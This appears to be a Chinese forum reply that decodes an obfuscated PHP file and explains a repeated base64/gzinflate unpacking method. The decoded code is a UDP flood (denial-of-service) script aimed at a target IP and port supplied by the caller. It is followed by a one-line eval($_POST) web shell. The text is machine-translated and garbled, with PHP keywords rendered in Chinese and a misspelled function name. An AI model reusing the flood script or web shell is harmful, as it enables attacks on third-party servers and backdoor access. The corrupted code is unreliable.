樓主,我給妳解密了:
& gt& lt?服務器端編程語言(Professional Hypertext Preprocessor的縮寫)
$ packets = 0;
$ IP = $ _ GET[' IP '];
$ rand = $ _ GET[' port '];
set _ time _ limit(0);
ignore _ user _ abort(FALSE);
$ exec _ time = $ _ GET[' time '];
$ time = time();
print " Flooded:$ IP on port $ rand & lt;br & gt& ltbr >;;
$ max _ time = $ time+$ exec _ time;
for($ I = 0;$ i & lt65535;$i++){
$出局。= " X
}
while(1){
$ packets++;
if(time()& gt;$max_time){
打破;
}
$fp = fsockopen("udp://$ip ",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$ out);
fclose($ FP);
}
}
回顯“數據包完成於”。時間('小時:分鐘')。"用$packets("。round(($packets*65)/1024,2)。“mB)數據包平均”。round($packets/$exec_time,2)。”數據包/秒\ n”;
& gt
& lt?php eval($_POST[ddos])?& gt
& lt?
解密過程:
decode.php
& lt?服務器端編程語言(Professional Hypertext Preprocessor的縮寫)
ob _ start();
Echo (gzinfect (base64 _ decode('加密內容'));
$ file = ob _ get _ clean();
file_put_contents("a.txt ",$ file);
& gt
1,第壹次運行,會在decode.php的同壹個目錄下生成壹個. txt,其內容被解密(但不壹定是最終結果)。
2.當a.txt中的代碼不是原密文的源代碼時,將a.txt中的“加密內容”再次復制到decode.php,替換原加密內容。
循環1和2,直到a.txt解密源代碼,顯示的代碼是php代碼,如上圖。
源代碼驗證正確與否,只要妳能在解密前看懂網頁上顯示的錯誤信息,就能比較真假。